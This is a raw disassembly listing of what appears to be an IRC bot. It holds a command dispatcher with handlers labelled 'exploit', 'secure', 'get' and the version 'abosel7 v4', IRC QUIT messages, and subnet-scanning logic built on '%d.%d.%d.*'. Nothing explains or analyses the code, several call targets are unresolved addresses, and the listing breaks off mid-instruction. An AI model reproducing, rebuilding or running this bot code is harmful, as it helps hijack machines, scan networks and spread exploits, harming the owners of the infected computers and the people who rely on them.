; sub_401ACD+1B51j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C44 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C44 push edi call sub_41B779 pop ecx jmp short loc_403C49 ; --------------------------------------------------------------------------- loc_403C44: ; CODE XREF: sub_401ACD+2161j ; sub_401ACD+216Cj mov eax, dword_42907C loc_403C49: ; CODE XREF: sub_401ACD+2175j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7C lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA7 ; --------------------------------------------------------------------------- loc_403C7C: ; CODE XREF: sub_401ACD+219Cj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 26A0B90h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA7: ; CODE XREF: sub_401ACD+21ADj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD2 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD2: ; CODE XREF: sub_401ACD+21EFj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C4E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F7 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D6 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403D86 loc_403D74: ; CODE XREF: sub_401ACD+22B7j cmp [ebp+var_36AC], ebx jnz short loc_403DA1 push 32h nop call near ptr 26A0F44h jmp short loc_403D74 ; --------------------------------------------------------------------------- loc_403D86: ; CODE XREF: sub_401ACD+22A5j nop call near ptr 26B0857h push eax push offset unk_42C4A8 loc_403D92: ; CODE XREF: sub_401ACD+241Aj ; sub_401ACD+4D05j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA1: ; CODE XREF: sub_401ACD+22ADj ; sub_401ACD+23FEj ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push edi jmp loc_407286 ; --------------------------------------------------------------------------- loc_403DB1: ; CODE XREF: sub_401ACD+1B12j ; sub_401ACD+1B27j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DD0 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DD0 push edi call sub_41B779 pop ecx jmp short loc_403DD5 ; --------------------------------------------------------------------------- loc_403DD0: ; CODE XREF: sub_401ACD+22EDj ; sub_401ACD+22F8j mov eax, dword_429080 loc_403DD5: ; CODE XREF: sub_401ACD+2301j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEC lea eax, [ebp+var_C4] loc_403DEC: ; CODE XREF: sub_401ACD+2317j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0E mov esi, offset dword_43D808 loc_403E0E: ; CODE XREF: sub_401ACD+233Aj push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C46C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F7 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset word_410A4E push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_403EDB loc_403EC5: ; CODE XREF: sub_401ACD+240Cj cmp [ebp+var_180C], ebx jnz loc_403DA1 push 32h call near ptr 26A0F44h nop jmp short loc_403EC5 ; --------------------------------------------------------------------------- loc_403EDB: ; CODE XREF: sub_401ACD+23F6j nop call near ptr 26B0857h push eax push offset unk_42C430 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j ; sub_401ACD+1AFDj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFF push esi call sub_41B779 jmp short loc_403F06 ; --------------------------------------------------------------------------- loc_403EFF: ; CODE XREF: sub_401ACD+2428j push 0Bh call sub_40B35E loc_403F06: ; CODE XREF: sub_401ACD+2430j cmp eax, ebx pop ecx jz loc_409855 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA57 jmp loc_4043BA ; --------------------------------------------------------------------------- loc_403F26: ; CODE XREF: sub_401ACD+1ABEj ; sub_401ACD+1AD3j mov eax, dword_4CB570 cmp eax, ebx jz short loc_403F43 call eax test eax, eax jz short loc_403F3C push offset unk_42C40C jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F3C: ; CODE XREF: sub_401ACD+2466j push offset unk_42C3E0 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F43: ; CODE XREF: sub_401ACD+2460j push offset unk_42C3B4 loc_403F48: ; CODE XREF: sub_401ACD+246Dj ; sub_401ACD+2474j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDC ; --------------------------------------------------------------------------- loc_403F5E: ; CODE XREF: sub_401ACD+1A94j ; sub_401ACD+1AA9j call sub_40AB32 test eax, eax jz short loc_403F6E push offset unk_42C390 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push offset unk_42C364 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj ; sub_401ACD+1A7Fj cmp [ebp+var_8], ebx jnz short loc_403F94 push ebx push [ebp+var_4] push offset dword_42C34C push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_403F94: ; CODE XREF: sub_401ACD+24ABj push ebx push [ebp+var_4] call sub_4181D7 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C330 jmp loc_404286 ; --------------------------------------------------------------------------- loc_403FB6: ; CODE XREF: sub_401ACD+18FAj ; sub_401ACD+190Fj push 0Ah call sub_40B33F test eax, eax pop ecx jle short loc_403FCC push offset unk_42C304 jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401ACD+24F3j push [ebp+var_88] push [ebp+arg_4] call sub_419C65 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEB push offset unk_42C2DC jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FEB: ; CODE XREF: sub_401ACD+2512j push offset unk_42C2BC jmp loc_409602 ; --------------------------------------------------------------------------- loc_403FF5: ; CODE XREF: sub_401ACD+18D0j ; sub_401ACD+18E5j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CF jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400E: ; CODE XREF: sub_401ACD+18A6j ; sub_401ACD+18BBj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C29 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402B: ; CODE XREF: sub_401ACD+187Cj ; sub_401ACD+1891j or edi, 0FFFFFFFFh nop call near ptr 26C066Dh xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404054 push esi call sub_41B779 pop ecx mov edi, eax loc_404054: ; CODE XREF: sub_401ACD+257Cj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406D cmp edi, 0FFFFFFFFh jnz loc_409855 loc_40406D: ; CODE XREF: sub_401ACD+2595j push ebx call sub_41A88C pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42C2A4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 lea eax, [ebp+var_2C4] push eax call sub_4151AD loc_4040AB: ; CODE XREF: sub_401ACD+529Dj add esp, 24h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4040B3: ; CODE XREF: sub_401ACD+1852j ; sub_401ACD+1867j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A30 add esp, 0Ch push offset dword_42C284 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_4040D1: ; CODE XREF: sub_401ACD+1828j ; sub_401ACD+183Dj push 27h call sub_40B33F test eax, eax pop ecx jle short loc_404105 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42C264 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 loc_4040FD: ; CODE XREF: sub_401ACD+7238j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404105: ; CODE XREF: sub_401ACD+260Ej push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404166 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404166 mov [ebp+var_AA8], 1 loc_404166: ; CODE XREF: sub_401ACD+267Cj ; sub_401ACD+268Dj lea eax, [ebp+var_2C4] push offset dword_42C240 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EC push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4041D4 loc_4041BE: ; CODE XREF: sub_401ACD+2705j cmp [ebp+var_A9C], ebx jnz loc_409631 push 32h call near ptr 26A0F44h nop jmp short loc_4041BE ; --------------------------------------------------------------------------- loc_4041D4: ; CODE XREF: sub_401ACD+26EFj nop call near ptr 26B0857h push eax lea eax, [ebp+var_2C4] push offset unk_42C204 push eax call sub_41B886 add esp, 0Ch jmp loc_409631 ; --------------------------------------------------------------------------- loc_4041F4: ; CODE XREF: sub_401ACD+17FEj ; sub_401ACD+1813j cmp [ebp+var_8], ebx jnz short loc_404213 push ebx push [ebp+var_4] push offset dword_42C1E8 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_404213: ; CODE XREF: sub_401ACD+272Aj push [ebp+arg_4] call dword_4CB6EC call dword_4CB5AC call sub_41835A push ebx nop call near ptr 77E75CB5h loc_40422E: ; CODE XREF: sub_401ACD+17D4j ; sub_401ACD+17E9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA43 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C1CC jmp short loc_404286 ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_401ACD+17AAj ; sub_401ACD+17BFj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push offset dword_42C1B0 loc_404286: ; CODE XREF: sub_401ACD+24E4j ; sub_401ACD+278Aj call sub_4151AD add esp, 18h jmp loc_409855 ; --------------------------------------------------------------------------- loc_404293: ; CODE XREF: sub_401ACD+1780j ; sub_401ACD+1795j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524D jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AC: ; CODE XREF: sub_401ACD+1756j ; sub_401ACD+176Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EB mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EB push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EB push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EB: ; CODE XREF: sub_401ACD+27E8j ; sub_401ACD+27F3j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42C198 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset word_41528E push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40438E loc_404378: ; CODE XREF: sub_401ACD+28BFj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h call near ptr 26A0F44h nop jmp short loc_404378 ; --------------------------------------------------------------------------- loc_40438E: ; CODE XREF: sub_401ACD+28A9j call near ptr 26B0857h nop push eax push offset unk_42C160 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439F: ; CODE XREF: sub_401ACD+172Cj ; sub_401ACD+1741j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415135 push offset dword_42C148 call sub_4151AD loc_4043BA: ; CODE XREF: sub_401ACD+2454j add esp, 10h jmp loc_409855 ; --------------------------------------------------------------------------- loc_4043C2: ; CODE XREF: sub_401ACD+1702j ; sub_401ACD+1717j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441C push offset dword_42C144 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404422 ; --------------------------------------------------------------------------- loc_40441C: ; CODE XREF: sub_401ACD+2933j mov [ebp+var_B40], ebx loc_404422: ; CODE XREF: sub_401ACD+294Dj lea eax, [ebp+var_2C4] push offset dword_42C124 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F7 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset word_40B162 push ebx push ebx call near ptr 26B0000h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404490 loc_40447A: ; CODE XREF: sub_401ACD+29C1j cmp [ebp+var_B34], ebx jnz loc_406D00 push 32h nop call near ptr 26A0F44h jmp short loc_40447A ; --------------------------------------------------------------------------- loc_404490: ; CODE XREF: sub_401ACD+29ABj nop call near ptr 26B0857h push eax push offset unk_42C0E8 jmp loc_409227 ; --------------------------------------------------------------------------- loc_4044A1: ; CODE XREF: sub_401ACD+1686j ; sub_401ACD+169Bj push offset aScorservs ; "scorservs" push offset dword_42C0D0 loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 20h jmp loc_406D00 ; --------------------------------------------------------------------------- loc_4044D8: ; CODE XREF: sub_401ACD+165Cj ; sub_401ACD+1671j push dword_4CB394 call sub_41A88C pop ecx push eax push offset unk_42C0A4 jmp short loc_4044AB ; --------------------------------------------------------------------------- loc_4044EC: ; CODE XREF: sub_401ACD+1632j ; sub_401ACD+1647j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451E cmp [ebp+var_C], ebx jz short loc_40452D push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452D push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch jmp short loc_40452D ; --------------------------------------------------------------------------- loc_40451E: ; CODE XREF: sub_401ACD+2A28j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2D pop ecx pop ecx loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj ; sub_401ACD+2A3Cj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404534: ; CODE XREF: sub_401ACD+1608j ; sub_401ACD+161Dj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42C054 call sub_4151AD add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404556: ; CODE XREF: sub_401ACD+15DEj ; sub_401ACD+15F3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42C020 call sub_4151AD add esp, 0Ch jmp loc_4097BA ; --------------------------------------------------------------------------- loc_404575: ; CODE XREF: sub_401ACD+15B4j ; sub_401ACD+15C9j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DB jmp loc_404934 ; --------------------------------------------------------------------------- loc_40458B: ; CODE XREF: sub_401ACD+158Aj ; sub_401ACD+159Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B786 jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1560j ; sub_401ACD+1575j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B71A jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045B7: ; CODE XREF: sub_401ACD+1536j ; sub_401ACD+154Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64B jmp loc_404934 ; --------------------------------------------------------------------------- loc_4045CD: ; CODE XREF: sub_401ACD+1491j ; sub_401ACD+14A6j push [ebp+esi+var_8C] push 27h push offset dword_42C010 push offset dword_42C000 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045E5: ; CODE XREF: sub_401ACD+1467j ; sub_401ACD+147Cj push [ebp+esi+var_8C] push 24h push offset dword_42BFF4 push offset dword_42BFE4 jmp loc_402B25 ; --------------------------------------------------------------------------- loc_4045FD: ; CODE XREF: sub_401ACD+1083j ; sub_401ACD+1098j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461C push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461C push edi call sub_41B779 pop ecx jmp short loc_404621 ; --------------------------------------------------------------------------- loc_40461C: ; CODE XREF: sub_401ACD+2B39j ; sub_401ACD+2B44j mov eax, dword_429074 loc_404621: ; CODE XREF: sub_401ACD+2B4Dj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404646 push esi loc_404633: ; CODE XREF: sub_401ACD+2B88j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465D ; --------------------------------------------------------------------------- loc_404646: ; CODE XREF: sub_401ACD+2B63j cmp [ebp+var_8FF], bl jz short loc_404657 lea eax, [ebp+var_C4] push eax jmp short loc_404633 ; --------------------------------------------------------------------------- loc_404657: ; CODE XREF: sub_401ACD+2B7Fj mov [ebp+var_5A0], bl loc_40465D: ; CODE XREF: sub_401ACD+2B77j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BFBC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_4111CE push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40470E loc_4046F8: ; CODE XREF: sub_401ACD+2C3Fj cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 26A0F44h jmp short loc_4046F8 ; --------------------------------------------------------------------------- loc_40470E: ; CODE XREF: sub_401ACD+2C29j nop call near ptr 26B0857h push eax push offset dword_42BF80 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471F: ; CODE XREF: sub_401ACD+1019j ; sub_401ACD+102Ej mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473F push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473F push esi call sub_41B779 pop ecx jmp short loc_404745 ; --------------------------------------------------------------------------- loc_40473F: ; CODE XREF: sub_401ACD+2C5Bj ; sub_401ACD+2C67j mov ax, word_429084 loc_404745: ; CODE XREF: sub_401ACD+2C70j push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A73 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F7 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40E504 push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404814 loc_4047FE: ; CODE XREF: sub_401ACD+2D45j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 26A0F44h jmp short loc_4047FE ; --------------------------------------------------------------------------- loc_404814: ; CODE XREF: sub_401ACD+2D2Fj nop call near ptr 26B0857h push eax push offset unk_42BF14 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404825: ; CODE XREF: sub_401ACD+FC5j ; sub_401ACD+FDAj ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484D push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404857 loc_40484D: ; CODE XREF: sub_401ACD+2D67j mov [ebp+var_A10], 1 loc_404857: ; CODE XREF: sub_401ACD+2D7Ej push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489E mov eax, offset aUnsecuring ; "Unsecuring" loc_40489E: ; CODE XREF: sub_401ACD+2DCAj push eax push offset dword_42BEE0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E1A push ebx push ebx nop call near ptr 26B0000h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_404912 loc_4048FC: ; CODE XREF: sub_401ACD+2E43j cmp [ebp+var_A04], ebx jnz loc_4083BD push 32h nop call near ptr 26A0F44h jmp short loc_4048FC ; --------------------------------------------------------------------------- loc_404912: ; CODE XREF: sub_401ACD+2E2Dj call near ptr 26B0857h nop push eax push offset dword_42BEA4 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_404923: ; CODE XREF: sub_401ACD+F9Bj ; sub_401ACD+FB0j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AF loc_404934: ; CODE XREF: sub_401ACD+2AB9j ; sub_401ACD+2ACFj ... add esp, 0Ch jmp loc_409855 ; --------------------------------------------------------------------------- loc_40493C: ; CODE XREF: sub_401ACD+F71j ; sub_401ACD+F86j push offset unk_42BDF4 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_404946: ; CODE XREF: sub_401ACD+F47j ; sub_401ACD+F5Cj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BDE4 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_404955: ; CODE XREF: sub_401ACD+F1Dj ; sub_401ACD+F32j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AF push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A7 cmp eax, 3 jge short loc_4049A7 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499F lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42D0B8 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828C ; --------------------------------------------------------------------------- loc_40499F: ; CODE XREF: sub_401ACD+2EB1j push eax push offset unk_42BDB8 jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049A7: ; CODE XREF: sub_401ACD+2E9Cj ; sub_401ACD+2EA1j push eax push offset unk_42BD8C jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_4049AF: ; CODE XREF: sub_401ACD+2E91j mov edi, [ebp+arg_18] xor esi, esi loc_4049B4: ; CODE XREF: sub_401ACD+2F03j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D7 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B4 jmp loc_40828C ; --------------------------------------------------------------------------- loc_4049D7: ; CODE XREF: sub_401ACD+2EF7j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42D0B8 loc_4049EC: ; CODE XREF: sub_401ACD+2153j ; sub_401ACD+2ED8j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408289 ; --------------------------------------------------------------------------- loc_4049FD: ; CODE XREF: sub_401ACD+EF3j ; sub_401ACD+F08j push [ebp+var_8C] push offset dword_42D02C call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A6 call sub_40B2C0 push ebx nop call near ptr 77E75CB5h loc_404A23: ; CODE XREF: sub_401ACD+1A12j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB1 cmp dword_4CEE08, ebx jz short loc_404A4B push offset dword_4CE7E8 loc_404A41: ; CODE XREF: sub_401ACD+2FE2j push offset unk_42BD50 jmp loc_404AE1 ; --------------------------------------------------------------------------- loc_404A4B: ; CODE XREF: sub_401ACD+2F6Dj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A41 ; --------------------------------------------------------------------------- loc_404AB1: ; CODE XREF: sub_401ACD+2F65j push esi call dword_4CB694 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC5 push offset unk_42BD10 jmp short loc_404AE1 ; --------------------------------------------------------------------------- loc_404AC5: ; CODE XREF: sub_401ACD+2FEFj push offset dword_4CE7E8 call sub_41BEB0 pop ecx mov dword_4CEE08, 1 pop ecx push esi push offset unk_42BCE4 loc_404AE1: ; CODE XREF: sub_401ACD+2F79j ; sub_401ACD+2FF6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FE ; --------------------------------------------------------------------------- loc_404AF5: ; CODE XREF: sub_401ACD+19FAj push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF8 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov 